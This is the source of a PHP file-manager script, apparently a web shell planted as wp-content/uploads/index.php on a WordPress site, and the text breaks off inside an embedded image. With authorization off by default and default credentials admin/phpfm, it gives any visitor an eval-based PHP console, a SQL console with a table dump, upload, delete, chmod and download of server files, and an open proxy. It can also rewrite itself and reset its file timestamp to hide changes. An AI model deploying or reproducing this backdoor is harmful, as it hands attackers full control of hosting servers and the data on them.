Файловый менеджер - Редактировать - /home/u714583712/domains/calibrebusinesssolutions.ca/public_html/wp-content/uploads/index.php
Назад
<?php $l0='{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';$d1='{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';$r2='{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';$h3='{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';$c4=explode(' ',microtime());$c4=$c4[1]+$c4[0];$o5=array('en','ru','de','fr','uk');$j6=empty($_REQUEST['path'])?$j6=realpath('.'):realpath($_REQUEST['path']);$j6=str_replace('\\','/',$j6).'/';$v7=str_replace('\\','/',realpath('./'));$z8=(version_compare(phpversion(),"5.3.0","<"))?true:false;$n9='';$p10='ru';$b11=true;$h12=1.4;$k13=json_decode($l0,true);$k13['authorize']=isset($k13['authorize'])?$k13['authorize']:0;$k13['days_authorization']=(isset($k13['days_authorization'])&&is_numeric($k13['days_authorization']))?(int)$k13['days_authorization']:30;$k13['login']=isset($k13['login'])?$k13['login']:'admin';$k13['password']=isset($k13['password'])?$k13['password']:'phpfm';$k13['cookie_name']=isset($k13['cookie_name'])?$k13['cookie_name']:'fm_user';$k13['script']=isset($k13['script'])?$k13['script']:'';$f14=array('make_directory'=>true,'new_file'=>true,'upload_file'=>true,'show_dir_size'=>false,'show_img'=>true,'show_php_ver'=>true,'show_php_ini'=>false,'show_gt'=>true,'enable_php_console'=>true,'enable_sql_console'=>true,'sql_server'=>'localhost','sql_username'=>'root','sql_password'=>'','sql_db'=>'test_base','enable_proxy'=>true,'show_phpinfo'=>true,'show_xls'=>true,'fm_settings'=>true,'restore_time'=>true,'fm_restore_time'=>false,);if(empty($_COOKIE['fm_config']))$d15=$f14;else $d15=unserialize($_COOKIE['fm_config']);if(isset($_POST['fm_lang'])){setcookie('fm_lang',$_POST['fm_lang'],time()+(86400*$k13['days_authorization']));$_COOKIE['fm_lang']=$_POST['fm_lang'];}$d16=$p10;if($b11&&!empty($_SERVER['HTTP_ACCEPT_LANGUAGE'])&&empty($_COOKIE['fm_lang'])){$m17=explode(',',$_SERVER['HTTP_ACCEPT_LANGUAGE']);if(!empty($m17)){foreach($m17 as $q18){$b19=explode(';',$q18);$b19=$b19[0];if(in_array($b19,$o5)){$d16=$b19;break;}}}}$d16=(empty($_COOKIE['fm_lang']))?$d16:$_COOKIE['fm_lang'];$y20=json_decode($h3,true);if($y20['id']!=$d16){$c21=file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/'.$d16.'.json');if(!empty($c21)){$f22=str_replace("'",''',json_encode(json_decode($c21),JSON_UNESCAPED_UNICODE));$w23=file_get_contents(__FILE__);$m24=preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#',$w23,$e25);if(!empty($e25[1])){$n26=filemtime(__FILE__);$h27=str_replace('{"'.$e25[1].'"}',$f22,$w23);if(file_put_contents(__FILE__,$h27)){$n9.=__('File updated');}else $n9 .= __('Error occurred');if(!empty($d15['fm_restore_time']))touch(__FILE__,$n26);}$y20=json_decode($f22,true);}}function __($z28){global $y20;if(isset($y20[$z28]))return $y20[$z28];else return $z28;};function fm_del_files($e29,$w30=false){if($w30&&@is_dir($e29)){$m31=fm_scan_dir($e29,'','',true);foreach($m31 as $h32){if($h32!='.'&&$h32!='..'){fm_del_files($e29.'/'.$h32,true);}}}if(@is_dir($e29)){return rmdir($e29);}else{return@unlink($e29);}}function fm_rights_string($e29,$c33=false){$w34=fileperms($e29);$c35='';if(!$c33){if(($w34&0xC000)==0xC000){$c35='s';}elseif(($w34&0xA000)==0xA000){$c35='l';}elseif(($w34&0x8000)==0x8000){$c35='-';}elseif(($w34&0x6000)==0x6000){$c35='b';}elseif(($w34&0x4000)==0x4000){$c35='d';}elseif(($w34&0x2000)==0x2000){$c35='c';}elseif(($w34&0x1000)==0x1000){$c35='p';}else{$c35='u';}}$c35.=(($w34&0x0100)?'r':'-');$c35.=(($w34&0x0080)?'w':'-');$c35.=(($w34&0x0040)?(($w34&0x0800)?'s':'x'):(($w34&0x0800)?'S':'-'));$c35.=(($w34&0x0020)?'r':'-');$c35.=(($w34&0x0010)?'w':'-');$c35.=(($w34&0x0008)?(($w34&0x0400)?'s':'x'):(($w34&0x0400)?'S':'-'));$c35.=(($w34&0x0004)?'r':'-');$c35.=(($w34&0x0002)?'w':'-');$c35.=(($w34&0x0001)?(($w34&0x0200)?'t':'x'):(($w34&0x0200)?'T':'-'));return $c35;}function fm_convert_rights($y36){$y36=str_pad($y36,9,'-');$k37=array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');$y36=strtr($y36,$k37);$a38='0';$d39=(int)$y36[0]+(int)$y36[1]+(int)$y36[2];$k40=(int)$y36[3]+(int)$y36[4]+(int)$y36[5];$l41=(int)$y36[6]+(int)$y36[7]+(int)$y36[8];$a38.=$d39.$k40.$l41;return intval($a38,8);}function fm_chmod($e29,$i42,$p43=false){$p44=@chmod(realpath($e29),$i42);if(@is_dir($e29)&&$p43){$m31=fm_scan_dir($e29);foreach($m31 as $h32){$p44=$p44&&fm_chmod($e29.'/'.$h32,$i42,true);}}return $p44;}function fm_download($q45){if(!empty($q45)){if(file_exists($q45)){header("Content-Disposition: attachment; filename=".basename($q45));header("Content-Type: application/force-download");header("Content-Type: application/octet-stream");header("Content-Type: application/download");header("Content-Description: File Transfer");header("Content-Length: ".filesize($q45));flush();$h46=fopen($q45,"r");while(!feof($h46)){echo fread($h46,65536);flush();}fclose($h46);die();}else{header('HTTP/1.0 404 Not Found',true,404);header('Status: 404 Not Found');die();}}}function fm_dir_size($o47,$i48=true){if($i48){$m49=fm_dir_size($o47,false);if($m49<=1024)return $m49.' bytes';elseif($m49<=1024*1024)return round($m49/(1024),2).' Kb';elseif($m49<=1024*1024*1024)return round($m49/(1024*1024),2).' Mb';elseif($m49<=1024*1024*1024*1024)return round($m49/(1024*1024*1024),2).' Gb';elseif($m49<=1024*1024*1024*1024*1024)return round($m49/(1024*1024*1024*1024),2).' Tb';else return round($m49/(1024*1024*1024*1024*1024),2).' Pb';}else{if(is_file($o47))return filesize($o47);$m49=0;$g50=opendir($o47);while(($e29=readdir($g50))!==false){if($e29=='.'||$e29=='..')continue;if(is_file($o47.'/'.$e29))$m49+=filesize($o47.'/'.$e29);else $m49+=fm_dir_size($o47.'/'.$e29,false);}closedir($g50);return $m49+filesize($o47);}}function fm_scan_dir($k51,$b52='',$o53='all',$x54=false){$o55=$o56=array();if(!empty($b52)){$b52='/^'.str_replace('*','(.*)',str_replace('.','\\.',$b52)).'$/';}if(!empty($o53)&&$o53!=='all'){$b57='is_'.$o53;}if(@is_dir($k51)){$g58=opendir($k51);while(false!==($e59=readdir($g58))){if(substr($e59,0,1)!='.'||$x54){if((empty($o53)||$o53=='all'||$b57($k51.'/'.$e59))&&(empty($b52)||preg_match($b52,$e59))){$o55[]=$e59;}}}closedir($g58);natsort($o55);}return $o55;}function fm_link($l60,$g61,$y62,$h63=''){if(empty($h63))$h63=$y62.' '.basename($g61);return ' <a href="?'.$l60.'='.base64_encode($g61).'" title="'.$h63.'">'.$y62.'</a>';}function fm_arr_to_option($z64,$a65,$m66=''){foreach($z64 as $o67){$y68=$o67[$a65];$p44.='<option value="'.$y68.'" '.($m66&&$m66==$y68?'selected':'').'>'.$y68.'</option>';}return $p44;}function fm_lang_form($q69='en'){return ' <form name="change_lang" method="post" action=""> <select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" > <option value="en" '.($q69=='en'?'selected="selected" ':'').'>'.__('English').'</option> <option value="de" '.($q69=='de'?'selected="selected" ':'').'>'.__('German').'</option> <option value="ru" '.($q69=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option> <option value="fr" '.($q69=='fr'?'selected="selected" ':'').'>'.__('French').'</option> <option value="uk" '.($q69=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option> </select> </form> ';}function fm_root($u70){return($u70=='.' OR $u70=='..');}function fm_php($q71){$g72=ini_get('display_errors');ini_set('display_errors','1');ob_start();eval(trim($q71));$z28=ob_get_contents();ob_end_clean();ini_set('display_errors',$g72);return $z28;}function fm_sql_connect(){global $d15;return new mysqli($d15['sql_server'],$d15['sql_username'],$d15['sql_password'],$d15['sql_db']);}function fm_sql($v73){global $d15;$v73=trim($v73);ob_start();$j74=fm_sql_connect();if($j74->$l75){ob_end_clean();return $j74->$l75;}$j74->set_charset('utf8');$m76=mysqli_query($j74,$v73);if($m76===false){ob_end_clean();return mysqli_error($j74);}else{if(!empty($m76)){while($m77=mysqli_fetch_assoc($m76)){$k78[]=$m77;}}$t79=empty($k78)?'':var_export($k78,true);ob_end_clean();$j74->close();return '<pre>'.stripslashes($t79).'</pre>';}}function fm_backup_tables($p80='*',$s81=true){global $j6;$w82=fm_sql_connect();$b83="; \n \n";if($p80=='*'){$p80=array();$b84=$w82->query('SHOW TABLES');while($m77=mysqli_fetch_row($b84)){$p80[]=$m77[0];}}else{$p80=is_array($p80)?$p80:explode(',',$p80);}$n85='';foreach($p80 as $p86){$b84=$w82->query('SELECT * FROM '.$p86);$j87=mysqli_num_fields($b84);$n85.='DROP TABLE IF EXISTS `'.$p86.'`'.$b83;$l88=mysqli_fetch_row($w82->query('SHOW CREATE TABLE '.$p86));$n85.=$l88[1].$b83;if($s81){for($s89=0;$s89<$j87;$s89++){while($m77=mysqli_fetch_row($b84)){$n85.='INSERT INTO `'.$p86.'` VALUES(';for($j90=0;$j90<$j87;$j90++){$m77[$j90]=addslashes($m77[$j90]);$m77[$j90]=str_replace("\n","\\n",$m77[$j90]);if(isset($m77[$j90])){$n85.='"'.$m77[$j90].'"';}else{$n85.='""';}if($j90<($j87-1)){$n85.=',';}}$n85.=')'.$b83;}}}else{$n85=preg_replace("#AUTO_INCREMENT=[\d]+ #is",'',$n85);}$n85.="\n\n\n";}$e29=gmdate("Y-m-d_H-i-s",time()).'.sql';$z91=fopen($e29,'w+');fwrite($z91,$n85);fclose($z91);$h92='onClick="if(confirm(\''.__('File selected').': \n'.$e29.'. \n'.__('Are you sure you want to delete this file?').'\')) document.location.href = \'?delete='.$e29.'&path='.$j6.'\'"';return $e29.': '.fm_link('download',$j6.$e29,__('Download'),__('Download').' '.$e29).' <a href="#" title="'.__('Delete').' '.$e29.'" '.$h92.'>'.__('Delete').'</a>';}function fm_restore_tables($w93){$w82=fm_sql_connect();$b83="; \n \n";$o47=fopen($w93,"r+");$t94=fread($o47,filesize($w93));$e95=explode($b83,$t94);foreach($e95 as $c96){if(strlen($c96)>3){$b84=$w82->query($c96);if(!$b84){$l97=mysqli_errno($w82->$s98);$b99=mysqli_error($w82->$s98);$x100=$c96;break;}}}if(empty($l97))return __('Success').' — '.$w93;else return $b99.'<br/>'.$c96;}function fm_img_link($e59){return './'.basename(__FILE__).'?img='.base64_encode($e59);}function fm_home_style(){return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }';}function fm_config_checkbox_row($y62,$f101){global $d15;return '<tr><td class="row1"><input id="fm_config_'.$f101.'" name="fm_config['.$f101.']" value="1" '.(empty($d15[$f101])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$f101.'">'.$y62.'</td></tr>';}function fm_protocol(){if(isset($_SERVER['HTTP_SCHEME']))return $_SERVER['HTTP_SCHEME'].'://';if(isset($_SERVER['HTTPS'])&&$_SERVER['HTTPS']=='on')return 'https://';if(isset($_SERVER['SERVER_PORT'])&&$_SERVER['SERVER_PORT']==443)return 'https://';if(isset($_SERVER['HTTP_X_FORWARDED_PROTO'])&&$_SERVER['HTTP_X_FORWARDED_PROTO']=='https')return 'https://';return 'http://';}function fm_site_url(){return fm_protocol().$_SERVER['HTTP_HOST'];}function fm_url($d102=false){$m103=$d102?fm_site_url():'.';return $m103.'/'.basename(__FILE__);}function fm_home($d102=false){return ' <a href="'.fm_url($d102).'" title="'.__('Home').'"><span class="home"> </span></a>';}function fm_run_input($b19){global $d15;$n85=!empty($d15['enable_'.$b19.'_console'])?' <form method="post" action="'.fm_url().'" style="display:inline"> <input type="submit" name="'.$b19.'run" value="'.strtoupper($b19).' '.__('Console').'"> </form> ':'';return $n85;}function fm_url_proxy($e25){$g61=str_replace('&','&',$e25[2]);$j104=isset($_GET['url'])?$_GET['url']:'';$b105=parse_url($j104);$m103=$b105['scheme'].'://'.$b105['host'].'/';if(substr($g61,0,2)=='//'){$g61=substr_replace($g61,fm_protocol(),0,2);}elseif(substr($g61,0,1)=='/'){$g61=substr_replace($g61,$m103,0,1);}elseif(substr($g61,0,2)=='./'){$g61=substr_replace($g61,$m103,0,2);}elseif(substr($g61,0,4)=='http'){}else{$g61=$m103.$g61;}if($e25[1]=='href'&&!strripos($g61,'css')){$c106=fm_site_url().'/'.basename(__FILE__);$i107=$c106.'?proxy=true&url=';$g61=$i107.urlencode($g61);}elseif(strripos($g61,'css')){}return $e25[1].'="'.$g61.'"';}function fm_tpl_form($f108){global${$f108.'_templates'};$w109=json_decode(${$f108.'_templates'},true);$t110='';foreach($w109 as $p111=>$l112){$t110.='<tr><td class="row1"><input name="'.$f108.'_name[]" value="'.$p111.'"></td><td class="row2 whole"><textarea name="'.$f108.'_value[]" cols="55" rows="5" class="textarea_input">'.$l112.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';}return ' <table> <tr><th colspan="2">'.strtoupper($f108).' '.__('templates').' '.fm_run_input($f108).'</th></tr> <form method="post" action=""> <input type="hidden" value="'.$f108.'" name="tpl_edited"> <tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr> '.$t110.' <tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr> </form> <form method="post" action=""> <input type="hidden" value="'.$f108.'" name="tpl_edited"> <tr><td class="row1"><input name="'.$f108.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$f108.'_new_value" cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr> </form> </table> ';}if($k13['authorize']){if(isset($_POST['login'])&&isset($_POST['password'])){if(($_POST['login']==$k13['login'])&&($_POST['password']==$k13['password'])){setcookie($k13['cookie_name'],$k13['login'].'|'.md5($k13['password']),time()+(86400*$k13['days_authorization']));$_COOKIE[$k13['cookie_name']]=$k13['login'].'|'.md5($k13['password']);}}if(!isset($_COOKIE[$k13['cookie_name']])OR($_COOKIE[$k13['cookie_name']]!=$k13['login'].'|'.md5($k13['password']))){echo ' <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title>'.__('File manager').'</title> </head> <body> <form action="" method="post"> '.__('Login').' <input name="login" type="text"> '.__('Password').' <input name="password" type="password"> <input type="submit" value="'.__('Enter').'" class="fm_input"> </form> '.fm_lang_form($d16).' </body> </html> ';die();}if(isset($_POST['quit'])){unset($_COOKIE[$k13['cookie_name']]);setcookie($k13['cookie_name'],'',time()-(86400*$k13['days_authorization']));header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);}}if(isset($_GET['fm_settings'])){if(isset($_GET['fm_config_delete'])){unset($_COOKIE['fm_config']);setcookie('fm_config','',time()-(86400*$k13['days_authorization']));header('Location: '.fm_url().'?fm_settings=true');exit(0);}elseif(isset($_POST['fm_config'])){$d15=$_POST['fm_config'];setcookie('fm_config',serialize($d15),time()+(86400*$k13['days_authorization']));$_COOKIE['fm_config']=serialize($d15);$n9=__('Settings').' '.__('done');}elseif(isset($_POST['fm_login'])){if(empty($_POST['fm_login']['authorize']))$_POST['fm_login']=array('authorize'=>'0')+$_POST['fm_login'];$m113=json_encode($_POST['fm_login']);$w23=file_get_contents(__FILE__);$m24=preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#',$w23,$e25);if(!empty($e25[1])){$n26=filemtime(__FILE__);$h27=str_replace('{"'.$e25[1].'"}',$m113,$w23);if(file_put_contents(__FILE__,$h27)){$n9.=__('File updated');if($_POST['fm_login']['login']!=$k13['login'])$n9.=' '.__('Login').': '.$_POST['fm_login']['login'];if($_POST['fm_login']['password']!=$k13['password'])$n9.=' '.__('Password').': '.$_POST['fm_login']['password'];$k13=$_POST['fm_login'];}else $n9 .= __('Error occurred');if(!empty($d15['fm_restore_time']))touch(__FILE__,$n26);}}elseif(isset($_POST['tpl_edited'])){$f108=$_POST['tpl_edited'];if(!empty($_POST[$f108.'_name'])){$s114=json_encode(array_combine($_POST[$f108.'_name'],$_POST[$f108.'_value']),JSON_HEX_APOS);}elseif(!empty($_POST[$f108.'_new_name'])){$s114=json_encode(json_decode(${$f108.'_templates'},true)+array($_POST[$f108.'_new_name']=>$_POST[$f108.'_new_value']),JSON_HEX_APOS);}if(!empty($s114)){$w23=file_get_contents(__FILE__);$m24=preg_match('#'.$f108.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#',$w23,$e25);if(!empty($e25[1])){$n26=filemtime(__FILE__);$h27=str_replace('{"'.$e25[1].'"}',$s114,$w23);if(file_put_contents(__FILE__,$h27)){${$f108.'_templates'}=$s114;$n9.=__('File updated');}else $n9 .= __('Error occurred');if(!empty($d15['fm_restore_time']))touch(__FILE__,$n26);}}else $n9 .= __('Error occurred');}}if(isset($_GET['img'])){$e29=base64_decode($_GET['img']);if($c35=getimagesize($e29)){switch($c35[2]){case 1:$x115='gif';break;case 2:$x115='jpeg';break;case 3:$x115='png';break;case 6:$x115='bmp';break;default:die();}header("Content-type: image/$x115");echo file_get_contents($e29);die();}}if(isset($_GET['download'])){$e29=base64_decode($_GET['download']);fm_download($e29);}if(isset($_GET['phpinfo'])){phpinfo();die();}if(isset($_GET['proxy'])&&(!empty($d15['enable_proxy']))){$j104=isset($_GET['url'])?urldecode($_GET['url']):'';$v116=' <div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);"> <form action="" method="GET"> <input type="hidden" name="proxy" value="true"> '.fm_home().' <a href="'.$j104.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$j104.'" size="55"> <input type="submit" value="'.__('Show').'" class="fm_input"> </form> </div> ';if($j104){$t117=curl_init($j104);curl_setopt($t117,CURLOPT_USERAGENT,'Den1xxx test proxy');curl_setopt($t117,CURLOPT_FOLLOWLOCATION,1);curl_setopt($t117,CURLOPT_SSL_VERIFYHOST,0);curl_setopt($t117,CURLOPT_SSL_VERIFYPEER,0);curl_setopt($t117,CURLOPT_HEADER,0);curl_setopt($t117,CURLOPT_REFERER,$j104);curl_setopt($t117,CURLOPT_RETURNTRANSFER,true);$b84=curl_exec($t117);curl_close($t117);$b84=preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui','fm_url_proxy',$b84);$b84=preg_replace('%(<body.*?>)%i','$1'.'<style>'.fm_home_style().'</style>'.$v116,$b84);echo $b84;die();}}?> <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title><?=__('File manager')?></title> <style> body { background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; margin: 0px; } a:link, a:active, a:visited { color: #006699; text-decoration: none; } a:hover { color: #DD6900; text-decoration: underline; } a.th:link { color: #FFA34F; text-decoration: none; } a.th:active { color: #FFA34F; text-decoration: none; } a.th:visited { color: #FFA34F; text-decoration: none; } a.th:hover { color: #FFA34F; text-decoration: underline; } table.bg { background-color: #ACBBC6 } th, td { font: normal 8pt Verdana, Arial, Helvetica, sans-serif; padding: 3px; } th { height: 25px; background-color: #006699; color: #FFA34F; font-weight: bold; font-size: 11px; } .row1 { background-color: #EFEFEF; } .row2 { background-color: #DEE3E7; } .row3 { background-color: #D1D7DC; padding: 5px; } tr.row1:hover { background-color: #F3FCFC; } tr.row2:hover { background-color: #F0F6F6; } .whole { width: 100%; } .all tbody td:first-child{width:100%;} textarea { font: 9pt 'Courier New', courier; line-height: 125%; padding: 5px; } .textarea_input { height: 1em; } .textarea_input:focus { height: auto; } input[type=submit]{ background: #FCFCFC none !important; cursor: pointer; } .folder { background-image: url("data:image/png;base64,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